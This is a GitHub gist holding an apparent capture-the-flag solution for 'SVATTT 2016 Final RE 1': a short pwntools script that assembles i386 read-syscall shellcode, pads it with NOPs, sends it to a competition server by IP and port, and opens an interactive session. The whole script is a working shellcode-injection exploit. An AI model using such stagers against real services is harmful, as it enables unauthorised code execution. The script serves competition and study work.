Created
December 2, 2016 16:47
-
-
Save chitoge/dfd49a9732f111419ecfc6b0210e173f to your computer and use it in GitHub Desktop.
SVATTT 2016 Final RE 1
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
context.arch = 'i386' | |
payload = 'mov al, 0x3; mov bl, 0x3; sub cl, 0x80; mov dx, 0x1000; int 0x80; ret' | |
payload = asm(payload) | |
print len(payload) | |
r = remote('139.59.235.1', 40002) | |
r.send(payload.ljust(16, '\x90')) | |
r.interactive() | |
r.close() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment